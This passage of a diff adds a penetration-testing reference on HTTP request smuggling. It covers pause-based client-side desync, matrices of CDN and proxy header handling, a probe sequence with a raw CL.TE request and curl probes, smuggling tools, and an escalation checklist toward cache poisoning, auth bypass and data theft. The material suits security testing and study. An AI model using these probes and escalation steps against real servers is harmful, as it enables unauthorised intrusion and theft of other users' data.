- Browser may use different connections for subsequent requests → desync fails
|
|
366
|
+
- `Connection: close` on server side prevents reuse
|
|
367
|
+
- HTTP/2 to single origin may use single connection (actually helps CSD)
|
|
368
|
+
- Same-site cookie policies may limit credential inclusion
|
|
369
|
+
- Hard to reliably predict connection reuse
|
|
370
|
+
|
|
371
|
+
### 6.6 CSD via Pause-Based Desync
|
|
372
|
+
|
|
373
|
+
```
|
|
374
|
+
1. Server has a timeout: if request body isn't fully received within N seconds,
|
|
375
|
+
server sends response and moves on
|
|
376
|
+
2. Attacker sends fetch() with:
|
|
377
|
+
- Content-Length: 1000 (large)
|
|
378
|
+
- Actual body: only 50 bytes + smuggled request
|
|
379
|
+
3. Server waits, times out, responds to partial request
|
|
380
|
+
4. Remaining bytes (smuggled request) stay in buffer
|
|
381
|
+
5. Next request on connection processes smuggled bytes
|
|
382
|
+
```
|
|
383
|
+
|
|
384
|
+
---
|
|
385
|
+
|
|
386
|
+
## 7. CDN / REVERSE PROXY BEHAVIOR MATRIX
|
|
387
|
+
|
|
388
|
+
### 7.1 CL + TE Handling
|
|
389
|
+
|
|
390
|
+
| Product | Dual CL+TE | Prefers | Notes |
|
|
391
|
+
|---|---|---|---|
|
|
392
|
+
| **HAProxy** | Forwards both | TE | Strips CL when TE is present (configurable) |
|
|
393
|
+
| **Nginx** | Rejects dual headers (400) | N/A | Strict — hard to smuggle through |
|
|
394
|
+
| **Apache (mod_proxy)** | Forwards both | CL | Historic CL.TE source |
|
|
395
|
+
| **Cloudflare** | Normalizes | TE | Strips CL when TE present; strong normalization |
|
|
396
|
+
| **AWS ALB** | Normalizes | Varies | Has had CL.TE vulns historically (patched) |
|
|
397
|
+
| **AWS CloudFront** | Normalizes | CL | May pass TE obfuscation variants |
|
|
398
|
+
| **Varnish** | Forwards both | TE | Configurable; default prefers TE |
|
|
399
|
+
| **Traefik** | Forwards both | TE | Go `net/http` based; strict chunked parsing |
|
|
400
|
+
| **Envoy** | Rejects dual (400) | N/A | Very strict HTTP/1.1 parsing |
|
|
401
|
+
| **Caddy** | Go-based; strict | TE | Similar to Envoy strictness |
|
|
402
|
+
| **Squid** | Forwards both | CL | Historic TE.CL source |
|
|
403
|
+
| **IIS (ARR)** | Forwards both | CL | Historic CL.TE/TE.CL source |
|
|
404
|
+
|
|
405
|
+
### 7.2 HTTP/2 Downgrade Behavior
|
|
406
|
+
|
|
407
|
+
| Product | H2→H1 Downgrade | TE Header Handling | CL Passthrough |
|
|
408
|
+
|---|---|---|---|
|
|
409
|
+
| **HAProxy** | Translates | May pass TE | Passes CL |
|
|
410
|
+
| **Nginx** | Translates | Strips TE (usually) | Passes CL |
|
|
411
|
+
| **Cloudflare** | Translates | Strips TE | Normalizes CL |
|
|
412
|
+
| **AWS ALB** | Translates | Strips TE | Passes CL |
|
|
413
|
+
| **AWS CloudFront** | Translates | May pass obfuscated TE | Passes CL |
|
|
414
|
+
| **Envoy** | Translates | Strips TE | Strict validation |
|
|
415
|
+
| **Traefik** | Translates | May pass TE | Passes CL |
|
|
416
|
+
|
|
417
|
+
### 7.3 GET Body Handling
|
|
418
|
+
|
|
419
|
+
| Product | Forwards GET Body | Notes |
|
|
420
|
+
|---|---|---|
|
|
421
|
+
| HAProxy | Yes | Default behavior |
|
|
422
|
+
| Nginx | Yes (as proxy) | Forwards if body present |
|
|
423
|
+
| Apache | Yes | Forwards body |
|
|
424
|
+
| Cloudflare | Strips | Removes GET body |
|
|
425
|
+
| AWS ALB | Depends on version | May strip |
|
|
426
|
+
| Varnish | Strips | Removes GET body |
|
|
427
|
+
| Envoy | Yes | Forwards |
|
|
428
|
+
|
|
429
|
+
### 7.4 Connection Reuse Behavior
|
|
430
|
+
|
|
431
|
+
| Product | Backend Connection Pooling | Impact on Smuggling |
|
|
432
|
+
|---|---|---|
|
|
433
|
+
| HAProxy | Yes (connection pool) | High risk — smuggled data affects other users |
|
|
434
|
+
| Nginx | Yes (keepalive upstream) | High risk |
|
|
435
|
+
| Cloudflare | Yes | High risk but strong normalization |
|
|
436
|
+
| AWS ALB | Yes | High risk |
|
|
437
|
+
| Envoy | Yes | Lower risk (strict parsing) |
|
|
438
|
+
| Varnish | Configurable | Depends on `beresp.do_stream` |
|
|
439
|
+
|
|
440
|
+
---
|
|
441
|
+
|
|
442
|
+
## 8. TESTING METHODOLOGY
|
|
443
|
+
|
|
444
|
+
### 8.1 Safe Probe Sequence
|
|
445
|
+
|
|
446
|
+
```
|
|
447
|
+
1. Identify architecture:
|
|
448
|
+
- Check Via, Server, X-Served-By headers
|
|
449
|
+
- Detect CDN (Cloudflare cf-ray, CloudFront x-amz-cf-id, etc.)
|
|
450
|
+
|
|
451
|
+
2. HTTP version probing:
|
|
452
|
+
- curl --http2 https://target.com -v
|
|
453
|
+
- Check if ALPN negotiation includes h2
|
|
454
|
+
|
|
455
|
+
3. Time-based desync detection:
|
|
456
|
+
a. CL.TE probe:
|
|
457
|
+
POST / HTTP/1.1
|
|
458
|
+
Content-Length: 4
|
|
459
|
+
Transfer-Encoding: chunked
|
|
460
|
+
|
|
461
|
+
1
|
|
462
|
+
A
|
|
463
|
+
0
|
|
464
|
+
|
|
465
|
+
b. If response is delayed → back-end is waiting for chunked end → CL.TE likely
|
|
466
|
+
|
|
467
|
+
4. H2 desync:
|
|
468
|
+
- Send H2 request with content-length: 0 + body containing smuggled prefix
|
|
469
|
+
- Follow with normal request; observe if response matches smuggled path
|
|
470
|
+
|
|
471
|
+
5. CL.0 detection:
|
|
472
|
+
- Find endpoints returning without consuming body (redirects, static files)
|
|
473
|
+
- Send POST with excess body, follow with normal GET
|
|
474
|
+
```
|
|
475
|
+
|
|
476
|
+
### 8.2 Tools
|
|
477
|
+
|
|
478
|
+
| Tool | Purpose |
|
|
479
|
+
|---|---|
|
|
480
|
+
| **Burp Suite HTTP Request Smuggler** | Automated variant scanning |
|
|
481
|
+
| **h2csmuggler** (GitHub) | HTTP/2 cleartext smuggling |
|
|
482
|
+
| **smuggler.py** (defparam) | CL.TE, TE.CL, TE.TE automation |
|
|
483
|
+
| **http2smugl** (GitHub) | H2-specific desync testing |
|
|
484
|
+
| **curl** with `--http2` / `--http1.1` | Manual H2/H1 probing |
|
|
485
|
+
| **hyper** (Python) | Low-level H2 frame crafting |
|
|
486
|
+
|
|
487
|
+
### 8.3 Impact Escalation Checklist
|
|
488
|
+
|
|
489
|
+
```
|
|
490
|
+
□ Confirmed desync variant (CL.TE / TE.CL / H2.CL / H2.TE / CL.0)
|
|
491
|
+
□ Can smuggle full request? (not just prefix)
|
|
492
|
+
□ Connection pooling enabled? (affects other users → critical)
|
|
493
|
+
□ Cacheable endpoints exist? (→ cache poisoning)
|
|
494
|
+
□ Authenticated endpoints reachable? (→ auth bypass, data theft)
|
|
495
|
+
□ Can reflect content in response? (→ stored XSS via cache)
|
|
496
|
+
□ Admin/internal paths accessible? (→ privilege escalation)
|
|
497
|
+
□ Client-side desync possible? (→ per-user attacks)
|
|
498
|
+
```
|